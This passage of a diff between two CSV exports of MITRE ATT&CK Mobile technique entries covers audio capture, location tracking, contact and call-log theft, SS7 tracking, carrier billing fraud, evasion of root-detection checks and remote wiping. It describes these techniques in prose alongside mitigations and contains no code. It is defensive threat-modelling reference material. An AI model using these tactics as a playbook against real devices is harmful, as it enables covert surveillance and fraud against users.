impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1427', external_id='T1427'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html', external_id='PHY-2'), ExternalReference(source_name='Wang-ExploitingUSB', description='Z. Wang and A. Stavrou. (2010, December 6-10). Exploiting smart-phone USB connectivity for fun and profit. Retrieved December 22, 2016.', url='http://dl.acm.org/citation.cfm?id=1920314'), ExternalReference(source_name='ArsTechnica-PoisonTap', description='Dan Goodin. (2016, November 16). Meet PoisonTap, the $5 tool that ransacks password-protected computers. Retrieved December 22, 2016.', url='http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/')]",attack-pattern--a0464539-e1b7-4455-a355-12495987c300,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='lateral-movement')]",2019-02-03 14:51:19.932000+00:00,Attack PC via USB Connection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1030,,['Android'],,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:13.259000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1428', external_id='T1428'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html', external_id='APP-32')]",attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='lateral-movement')]",2018-10-17 00:14:20.652000+00:00,Exploit Enterprise Resources,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1031,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:12.913000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information. +On iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1407', 'external_id': 'T1407'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html', 'external_id': 'APP-20'}, {'source_name': 'Poeplau-ExecuteThis', 'description': 'Sebastian Poeplau, Yanick Fratantonio, Antonio Bianchi, Christopher Kruegel, Giovanni Vigna. (2014, February). Execute This! Analyzing Unsafe and Malicious Dynamic Code Loading in Android Applications. Retrieved December 21, 2016.', 'url': 'https://www.internetsociety.org/sites/default/files/10_5_0.pdf'}, {'source_name': 'Bromium-AndroidRCE', 'description': 'Tom Sutcliffe. (2014, July 31). Remote code execution on Android devices. Retrieved December 9, 2016.', 'url': 'https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/'}, {'source_name': 'FireEye-JSPatch', 'description': 'Jing Xie, Zhaofeng Chen, Jimmy Su. (2016, January 27). HOT OR NOT? THE BENEFITS AND RISKS OF IOS REMOTE HOT PATCHING. Retrieved December 9, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html'}, {'source_name': 'Wang', 'description': 'Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013, August). Jekyll on iOS: When Benign Apps Become Evil. Retrieved December 9, 2016.', 'url': 'https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Downloading new code at runtime can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,"['Android', 'iOS']",1.2,,,,,,['Post-Adversary Device Access'],MOB-T1010 +attack-pattern,attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:14.003Z,2019-02-03T14:34:59.071Z,Disguise Root/Jailbreak Indicators,"An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed ""su"" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1408', 'external_id': 'T1408'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html', 'external_id': 'EMM-5'}, {'source_name': 'Brodie', 'description': 'Daniel Brodie. (2016). Practical Attacks against Mobile Device Management (MDM). Retrieved December 21, 2016.', 'url': 'https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf'}, {'source_name': 'Tan', 'description': 'Vincent Tan. (2016, August). BAD FOR ENTERPRISE: ATTACKING BYOD ENTERPRISE MOBILE SECURITY SOLUTIONS. Retrieved February 4, 2017.', 'url': 'http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions'}, {'source_name': 'Rastogi', 'description': 'Vaibhav Rastogi, Yan Chen, and Xuxian Jiang. (2013, May). DroidChameleon: Evaluating Android Anti-malware against Transformation Attacks. Retrieved December 9, 2016.', 'url': 'http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1011 +attack-pattern,attack-pattern--a0464539-e1b7-4455-a355-12495987c300,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:13.625Z,2019-02-03T14:51:19.932Z,Attack PC via USB Connection,"With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1427', 'external_id': 'T1427'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html', 'external_id': 'PHY-2'}, {'source_name': 'Wang-ExploitingUSB', 'description': 'Z. Wang and A. Stavrou. (2010, December 6-10). Exploiting smart-phone USB connectivity for fun and profit. Retrieved December 22, 2016.', 'url': 'http://dl.acm.org/citation.cfm?id=1920314'}, {'source_name': 'ArsTechnica-PoisonTap', 'description': 'Dan Goodin. (2016, November 16). Meet PoisonTap, the $5 tool that ransacks password-protected computers. Retrieved December 22, 2016.', 'url': 'http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],1.1,,,,,,['Post-Adversary Device Access'],MOB-T1030 +attack-pattern,attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:13.259Z,2018-10-17T00:14:20.652Z,Exploit Enterprise Resources,"Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1428', 'external_id': 'T1428'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html', 'external_id': 'APP-32'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1031 +attack-pattern,attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:12.913Z,2019-09-20T17:59:11.041Z,Capture Audio,"Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information. -Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the android.permission.RECORD_AUDIO permission to access the microphone and the android.permission.CAPTURE_AUDIO_OUTPUT permission to access audio output such as speakers. Android does not allow third-party applications to hold android.permission.CAPTURE_AUDIO_OUTPUT, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1429', external_id='T1429'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html', external_id='APP-19')]",attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection')]",2019-09-20 17:59:11.041000+00:00,Capture Audio,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone through the device settings screen, and the user can choose to revoke the permissions.",,,,,,,MOB-T1032,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:12.267000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.,"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1430', external_id='T1430'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html', external_id='APP-24')]",attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='discovery')]",2019-10-15 20:01:06.186000+00:00,Location Tracking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.",,,,,,,MOB-T1033,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:11.535000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1432', external_id='T1432'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', external_id='APP-13')]",attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection')]",2018-10-17 00:14:20.652000+00:00,Access Contact List,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.",,,,,,,MOB-T1035,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:11.116000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data. +Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the android.permission.RECORD_AUDIO permission to access the microphone and the android.permission.CAPTURE_AUDIO_OUTPUT permission to access audio output such as speakers. Android does not allow third-party applications to hold android.permission.CAPTURE_AUDIO_OUTPUT, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1429', 'external_id': 'T1429'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html', 'external_id': 'APP-19'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",2.0,,,,,,['Post-Adversary Device Access'],MOB-T1032 +attack-pattern,attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:12.267Z,2019-10-15T20:01:06.186Z,Location Tracking,An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.,"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1430', 'external_id': 'T1430'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html', 'external_id': 'APP-24'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1033 +attack-pattern,attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:11.535Z,2018-10-17T00:14:20.652Z,Access Contact List,"An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1432', 'external_id': 'T1432'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1035 +attack-pattern,attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:11.116Z,2019-09-18T18:17:43.466Z,Access Call Log,"On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data. -On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1433', external_id='T1433'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', external_id='APP-13')]",attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection')]",2019-09-18 18:17:43.466000+00:00,Access Call Log,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.",,,,,,,MOB-T1036,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:10.285000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1471', external_id='T1471'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html', external_id='APP-28')]",attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact')]",2019-10-01 13:51:22.001000+00:00,Data Encrypted for Impact,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1074,,['Android'],,,['Post-Adversary Device Access'],3.0 -2017-10-25 14:48:09.864000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport),"[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1450', external_id='T1450'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html', external_id='CEL-38'), ExternalReference(source_name='Engel-SS7', description='Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.', url='https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf'), ExternalReference(source_name='Engel-SS7-2008', description='Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.', url='https://www.youtube.com/watch?v=q0n5ySqbfdI'), ExternalReference(source_name='3GPP-Security', description='3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.', url='http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf'), ExternalReference(source_name='Positive-SS7', description='Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.', url='https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf'), ExternalReference(source_name='CSRIC5-WG10-FinalReport', description='Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.', url='https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf'), ExternalReference(source_name='CSRIC-WG1-FinalReport', description='CSRIC-WG1-FinalReport')]",attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='network-effects')]",2019-02-03 15:06:10.014000+00:00,Exploit SS7 to Track Device Location,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC-WG1-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.",,,,,,,MOB-T1053,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.1 -2017-10-25 14:48:09.082000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases. +On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1433', 'external_id': 'T1433'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1036 +attack-pattern,attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:10.285Z,2019-10-01T13:51:22.001Z,Data Encrypted for Impact,"An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1471', 'external_id': 'T1471'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html', 'external_id': 'APP-28'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],3.0,,,,,,['Post-Adversary Device Access'],MOB-T1074 +attack-pattern,attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:09.864Z,2019-02-03T15:06:10.014Z,Exploit SS7 to Track Device Location,An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport),"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1450', 'external_id': 'T1450'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html', 'external_id': 'CEL-38'}, {'source_name': 'Engel-SS7', 'description': 'Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.', 'url': 'https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf'}, {'source_name': 'Engel-SS7-2008', 'description': 'Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.', 'url': 'https://www.youtube.com/watch?v=q0n5ySqbfdI'}, {'source_name': '3GPP-Security', 'description': '3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.', 'url': 'http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf'}, {'source_name': 'Positive-SS7', 'description': 'Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.', 'url': 'https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf'}, {'source_name': 'CSRIC5-WG10-FinalReport', 'description': 'Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.', 'url': 'https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf'}, {'source_name': 'CSRIC-WG1-FinalReport', 'description': 'CSRIC-WG1-FinalReport'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC-WG1-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.",,,"['Android', 'iOS']",1.1,,,,,,['Without Adversary Device Access'],MOB-T1053 +attack-pattern,attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:09.082Z,2020-05-04T15:40:20.943Z,Carrier Billing Fraud,"A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases. Performing SMS fraud relies heavily upon the fact that, when making SMS purchases, the carriers perform device verification but not user verification. This allows adversaries to make purchases on behalf of the user, with little or no user interaction.(Citation: Google Bread) @@ -4357,30 +3984,30 @@ Malicious applications may also perform toll billing, which occurs when carriers On iOS, apps cannot send SMS messages. -On Android, apps must hold the `SEND_SMS` permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1448', external_id='T1448'), ExternalReference(source_name='Google Bread', description='A. Guertin, V. Kotov, Android Security & Privacy Team. (2020, January 9). PHA Family Highlights: Bread (and Friends) . Retrieved April 27, 2020.', url='https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html'), ExternalReference(source_name='AndroidSecurity2014', description='Google. (2014). Android Security 2014 Year in Review. Retrieved December 12, 2016.', url='https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf')]",attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact')]",2020-05-04 15:40:20.943000+00:00,Carrier Billing Fraud,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.(Citation: AndroidSecurity2014) +On Android, apps must hold the `SEND_SMS` permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1448', 'external_id': 'T1448'}, {'source_name': 'Google Bread', 'description': 'A. Guertin, V. Kotov, Android Security & Privacy Team. (2020, January 9). PHA Family Highlights: Bread (and Friends) . Retrieved April 27, 2020.', 'url': 'https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html'}, {'source_name': 'AndroidSecurity2014', 'description': 'Google. (2014). Android Security 2014 Year in Review. Retrieved December 12, 2016.', 'url': 'https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.(Citation: AndroidSecurity2014) -On Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.",,,,,False,,MOB-T1051,,['Android'],,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:08.613000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.** +On Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.",False,,['Android'],2.0,,,,,,['Post-Adversary Device Access'],MOB-T1051 +attack-pattern,attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:07.827Z,2018-10-17T00:14:20.652Z,Remotely Wipe Data Without Authorization,An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).,"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'remote-service-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1469', 'external_id': 'T1469'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html', 'external_id': 'ECO-5'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html', 'external_id': 'EMM-7'}, {'source_name': 'Honan-Hacking', 'description': 'Mat Honan. (2012, August 6). How Apple and Amazon Security Flaws Led to My Epic Hacking. Retrieved December 29, 2016.', 'url': 'https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.,,,"['Android', 'iOS']",1.0,,,,,,['Without Adversary Device Access'],MOB-T1072 